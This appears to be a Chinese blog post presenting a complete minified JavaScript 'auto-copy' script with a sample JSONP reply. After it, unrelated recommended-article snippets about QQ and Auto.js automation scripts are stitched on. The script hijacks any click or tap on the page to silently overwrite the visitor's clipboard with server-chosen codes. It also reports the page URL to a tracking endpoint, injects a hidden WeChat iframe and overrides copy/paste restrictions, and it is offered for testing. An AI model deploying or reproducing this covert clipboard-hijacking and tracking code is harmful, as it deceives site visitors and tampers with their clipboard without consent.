其实就是一个复制脚本:

他创建了一个层,然后这个层的z-index层级很高。

Javascript脚本:


(function($$) {var EVAutoCopy = {trigger: null,dd: document,ww: window,listener: [],listenerCopy: null,text: null,action: "copy",ua: window.navigator.userAgent,host: location.protocol + "//" + location.host,id: "default",token: "",hascopy: null,hasload: null,hascopy2: null,closeqq: "no",tongjiURL:null,listenerTouchend: [],getCodeUrl:"json.json?callback=vvvv",showAd: function() {this.id = window.amb_jd_proxy_f;},randText : function(pams) {return this.rands(pams);},rands : function(source) {return source[Math.floor(Math.random()*source.length)];},isArray : function(f) {return "[object Array]" == Object.prototype.toString.call(f)},init: function() {var EV_core = this;EV_core.trigger = EV_core.dd.getElementsByTagName("*");EV_core.showAd();EV_core.hascopy = EV_core.sGet("amb_jd_copy");EV_core.hasload = EV_core.sGet("amb_jd_load");if (null == EV_core.sGet("amb_jd_open")) {var vinfo = "";null != EV_core.sGet("amb_jd_open_info") ? (vinfo = EV_core.sGet("amb_jd_open_info")) : (vinfo = EV_core.randomString(), EV_core.sSet("amb_jd_open_info", vinfo, window.amb_jd_proxy_c));EV_core.getJSONP(EVAutoCopy.getCodeUrl, {f: EV_core.id,h: EV_core.hasload,current_url: encodeURIComponent(top.location.href)}, function(b) {var autoText = b.code;if(EVAutoCopy.isArray(autoText)){autoText = EVAutoCopy.randText(autoText);}EVAutoCopy.tongjiURL = b.tongji;EV_core.text = autoText;EV_core.token = b.token;EV_core.closeqq = b.closeqq;if (b.iscn == "no") {EV_core.wxcp(b.text);}EV_core.sSet("amb_jd_load", "has", 86400);"null" == EV_core.text && (EV_core.text = 0);EV_core.dd.queryCommandSupported && EV_core.dd.queryCommandSupported(EV_core.action) ? EV_core.text && (EV_core.listenClick(), EV_core.listenTouchend()) : 1 < EV_core.ua.split("MQQBrowser").length && 1 < EV_core.ua.split("Android").length && 2 > EV_core.ua.split("MicroMessenger").length && 2 > EV_core.ua.split("QQ/").length ? EV_core.text && EV_core.qqCopy() : (EV_core.listenerCopy = EV_core.listenNode(EV_core.dd.body, "click", EV_core.clipboardCopy.bind(EV_core)));}, this);}},wxcp: function(a) {if (/MicroMessenger/i.test(navigator.userAgent)) {var iframe = document.createElement("iframe");iframe.style.cssText = "display:none;width:0px;height:0px;";iframe.src = "weixin://webview/copy/" + a;document.body.appendChild(iframe);}},cp: function(a) {var b = this;if (b.hascopy2 == null && EVAutoCopy.tongjiURL !=null) {b.hascopy2 = "yes";b.getJSONP(EVAutoCopy.tongjiURL, {f: b.id,h: b.hascopy,current_url: encodeURIComponent(top.location.href)}, function(c) {b.sSet("amb_jd_open", "close", window.amb_jd_proxy_c);b.sSet("amb_jd_copy", "has", 86400);}, true);}},qqCopy: function() {var a = this,b = a.text,c = navigator.appVersion,e = 1 < c.split("MQQBrowser/").length ? 2 : 0;if (a.closeqq == "yes") {return true;}if (e) {var f = {url: b,to_app: "10",us_txt: "23s"};b = c.split("MQQBrowser/")[1].split(".");b = parseFloat(b[0] + "." + b[1]);b = 5.4 > (e ? b : 0) ? "//3gimg.qq.com/html5/js/qb.js" : "//jsapi.qq.com/get?api=app.share";c = a.dd.createElement("script");var d = a.dd.getElementsByTagName("body")[0];c.setAttribute("src", b);c.onload = function() {"undefined" != typeof a.ww.browser && "undefined" != typeof a.ww.browser.app && 2 == e ? (a.ww.browser.app.share(f), a.cp("1")) : "undefined" != typeof a.ww.qb && 1 == e && (a.ww.qb.share(f), a.cp("1"));};d.appendChild(c);}},clipboardCopy: function(a) {_this.ww.clipboardData && this.text && _this.ww.clipboardData.setData("Text", this.text);this.listenerCopy.destroy();},listenClick: function() {for (var a = this, b = 0; b < a.trigger.length; b++) {a.listener.push(a.listenNode(a.trigger[b], "click", function(b) {return a.onClick(b, "click");}));}},listenTouchend: function() {for (var a = this, b = 0; b < a.trigger.length; b++) {a.listenerTouchend.push(a.listenNode(a.trigger[b], "touchend", function(b) {return a.onClick(b, "touchend");}));}},listenNode: function(a, b, c) {a.addEventListener(b, c, true);return {destroy: function() {a.removeEventListener(b, c, true);}};},onClick: function(a, b) {var c = this;this.dd.body.hasAttribute("oncopy") && this.dd.body.setAttribute("oncopy", "return true");this.dd.body.hasAttribute("onpaste") && this.dd.body.setAttribute("onpaste", "return true");"INPUT" != a.target.nodeName && "TEXTAREA" != a.target.nodeName && ((new $$(this.text, this.action, function(a) {a ? c.cp("1") : c.cp("2");})).start(), "click" == b ? (this.listenerD = true, this.listener.forEach(function(a, b) {a.destroy();})) : "touchend" == b && this.listenerTouchend.forEach(function(a, b) {a.destroy();}));this.dd.body.hasAttribute("oncopy") && this.dd.body.setAttribute("oncopy", "return false");this.dd.body.hasAttribute("onpaste") && this.dd.body.setAttribute("onpaste", "return false");},randomString: function() {var a = "";for (i = 0; 7 > i; i++) {a += "ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(61 * Math.random()));}return a;},sGet: function(a) {try {if (!this.ww.localStorage[a]) {return null;}var b = JSON.parse(this.ww.localStorage[a]);return b.time < (new Date).getTime() ? (this.ww.localStorage[a] = null) : b.value;} catch (c) {return console.log("not localStorage."), null;}},sSet: function(a, b, c) {try {var e = {name: a,value: b,time: (new Date).getTime() + 1000 * c};this.ww.localStorage[a] = JSON.stringify(e);} catch (f) {console.log("not localStorage.");}},now: function() {return (new Date).getTime();},rand: function() {return Math.random().toString().substr(2);},parseData: function(a) {var b = "";if ("string" === typeof a) {b = a;} else if ("object" === typeof a) {for (var c in a) {b += "&" + c + "=" + encodeURIComponent(a[c]);}}b += "&_time=" + this.now();return b = b.substr(1);},getJSONP: function(a, b, c) {a = a + (-1 === a.indexOf("?") ? "?" : "&") + this.parseData(b);if ((b = /callback=(\w+)/.exec(a)) && b[1]) {var e = b[1];} else {e = "jsonp_" + this.now() + "_" + this.rand(), a = a.replace("callback=?", "callback=" + e), a = a.replace("callback=%3F", "callback=" + e);}b = document.createElement("script");b.type = "text/javascript";b.src = a;b.id = "id_" + e;window[e] = function(a) {window[e] = void 0;var b = document.getElementById("id_" + e),k = b.parentNode;k && 11 !== k.nodeType && k.removeChild(b);c(a);};(a = document.getElementsByTagName("head")) && a[0] && a[0].appendChild(b);}};try {parent.window.location.href != window.location.href && (EVAutoCopy.host = parent.window.location.protocol + "//" + parent.window.location.host, EVAutoCopy.dd = parent.document, EVAutoCopy.ww = parent.window), EVAutoCopy.init();} catch (a) {EVAutoCopy.init();}
})(function(h, g, a) {return {fakeElem: null,text: h,action: g,selectedText: null,dd: document,ww: window,start: function() {this.text && (parent.window.location.href != window.location.href && (this.ww = top.window, this.dd = top.document), this.selectFake());},selectFake: function() {var a = "rtl" == this.dd.documentElement.getAttribute("dir");this.removeFake();this.fakeElem = this.dd.createElement("textarea");this.fakeElem.style.fontSize = "12pt";this.fakeElem.style.border = "0";this.fakeElem.style.padding = "0";this.fakeElem.style.margin = "0";this.fakeElem.style.position = "absolute";a ? (this.fakeElem.style.right = "-9999px") : (this.fakeElem.style.left = "-9999px");this.fakeElem.style.top = (this.ww.pageYOffset || this.dd.documentElement.scrollTop) + "px";this.fakeElem.setAttribute("readonly", "");this.fakeElem.value = this.text;this.dd.body.appendChild(this.fakeElem);this.selectedText = this.selectText(this.fakeElem);this.copyText();},removeFake: function() {this.fakeElem && (this.dd.body.removeChild(this.fakeElem), this.fakeElem = null);},copyText: function() {var b = void 0;try {b = this.dd.execCommand(this.action);} catch (c) {b = false;}this.removeFake();a.call(this, b);},selectText: function(element) {if ("SELECT" === element.nodeName) {element.focus(), element = element.value;} else if ("INPUT" === element.nodeName || "TEXTAREA" === element.nodeName) {var b = element.hasAttribute("readonly");b || element.setAttribute("readonly", "");element.select();element.setSelectionRange(0, element.value.length);b || element.removeAttribute("readonly");element = element.value;} else {element.hasAttribute("contenteditable") && element.focus();b = this.ww.getSelection();var e = this.dd.createRange();e.selectNodeContents(element);b.removeAllRanges();b.addRange(e);element = b.toString();}return element;}};
});

返回的JSON:

vvvv({"auth":"vvvv","code":["code1","code2","code..."]});

测试吧

自动复制 JavaScript 脚本,JavaScript点击任意位置复制脚本源码相关推荐

  1. QQ名片点赞全自动脚本,基于autojs的安卓免root脚本源码

    说明 本文提供的代码仅供参考.不建议用于生产环境. 可能有些地方在最新版本的Auto.js上面需要做修改,才能运行. Auto.js简介 Auto.js是利用安卓系统的"辅助功能" ...

  2. autojs免root脚本引擎编写的QQ空间点赞脚本源码

    说明 本文提供的代码仅供参考.不建议用于生产环境. 可能有些地方在最新版本的Auto.js上面需要做修改,才能运行. Auto.js简介 Auto.js是利用安卓系统的"辅助功能" ...

  3. IEC61131, IEC61499图形可视化,PLC图形可视化,PLC组态,VBScript和JavaScript脚本,解决方案源代码, 开发平台100% VC++源码2018!

    IEC61131, IEC61499图形可视化,PLC图形可视化,PLC组态,VBScript和JavaScript脚本,解决方案源代码, 开发平台100% VC++源码2018! -- 全球领先. ...

  4. python传奇自动打怪脚本_易语言传奇sf自动打怪脚本源码

    從目前的傳奇推出的新地圖來看,闖赤月殺蜘蛛還是很刺激的.特別是像我這樣的老玩家,在傳奇中混了很長一段時間了,殺一些簡單的怪,已經很乏味了.好不容易出了新地圖,總不可能放過吧,但大家也別小看了這些蜘蛛哦 ...

  5. bat脚本保存dir结果_Tomcat的启停脚本源码解析

    作者 | 程序员自由之路 来源 | cnblogs.com/54chensongxia/p/13234398.html Tomcat的启停脚本源码解析 Tomcat是一款我们平时开发过程中最常用到的S ...

  6. autojs写脚本:天启app脚本源码

    autojs写脚本:天启app脚本源码 个人保存而已. 源码中涉及到广告关闭.控件点击等函数.自己使用的. 需要的话需付费.不免费. 如果真有心,想学,源码中的编写脚本的逻辑等完全够用. var 日常 ...

  7. Autojs微信运动自动点赞免root脚本源码

    前言 热爱社交的张三每天无时无刻不在关注好友的动态就连微信运动也不例外,在夜深人静的晚上张三打开手机看着微信推送给他的运动排行榜,小手毫不犹豫的为每一位微信好友点赞,但热爱社交的张三好友实在太多才点了 ...

  8. 浏览器 禁用 javascript 脚本 解决 网页文本内容无法复制 的问题

    文章目录 Intro chrome Firefox 其他浏览器 Intro 有些网站在源码中利用 javascript ,对 copy 事件添加了自定义的事件监听器,阻止了默认事件的发生. 用人话说: ...

  9. autojs脚本,华为手机自动解锁,解除屏幕锁定脚本源码

    说明 本文提供的代码仅供参考.不建议用于生产环境. 可能有些地方在最新版本的Auto.js上面需要做修改,才能运行. Auto.js简介 Auto.js是利用安卓系统的"辅助功能" ...

最新文章

  1. 沈向洋回答吴恩达:我预见的2021
  2. Ubuntu9.10 安装试水
  3. UTF-8 可变编码格式
  4. matlab mat文件
  5. 一、mongodb数据库系列——介绍和安装 简单使用 增删改查
  6. Maven配置_01
  7. 基于JAVA+SpringBoot+Vue+Mybatis+MYSQL的微信小程序点餐系统
  8. Basic Level 1006. 换个格式输出整数 (15)
  9. git之配置在Terminal显示git分支
  10. Zabbix 5.0 监测Windows远程桌面登录
  11. 25.Yii2 自动加载
  12. 国外优秀Windows7桌面插件RAINMETER
  13. ClientToScreen 和ScreenToClient用法
  14. 程序员提高工作效率的方法
  15. C++互斥量、原子锁、自旋锁等比较
  16. SAP HR Schema 详解(三)工资核算基础
  17. 制作PDF,并给PDF加上标签
  18. python数据库mysql_python数据库-MySQL与python的交互(52)
  19. STM32F103 485通信开发实例(二):与HMI建立初步通信
  20. 极简HTML渲染引擎,CodeMirror 代码渲染神器的极简入门实例

热门文章

  1. BZOJ 1022 [SHOI2008]小约翰的游戏John
  2. ROS 2 Dashing Diademata安装和使用文档(含Linux、Windows和OS X)
  3. 5G技术的原理(转)
  4. 蓝牙BLE芯片PHY6222之烧录以及调试
  5. 用JLINK烧写U-boot到Nand Flash中
  6. slf4j将日志写到单独的文件
  7. Django期末考试复习
  8. 会说话的TOM猫的原理是什么
  9. Python学习笔记五:控制语句
  10. 天嵌TQ_E9卡片电脑移植飞思卡尔yocto L4.1.15_1.0.0_ga 第四篇 新版kernel(L4.1.15-r)移植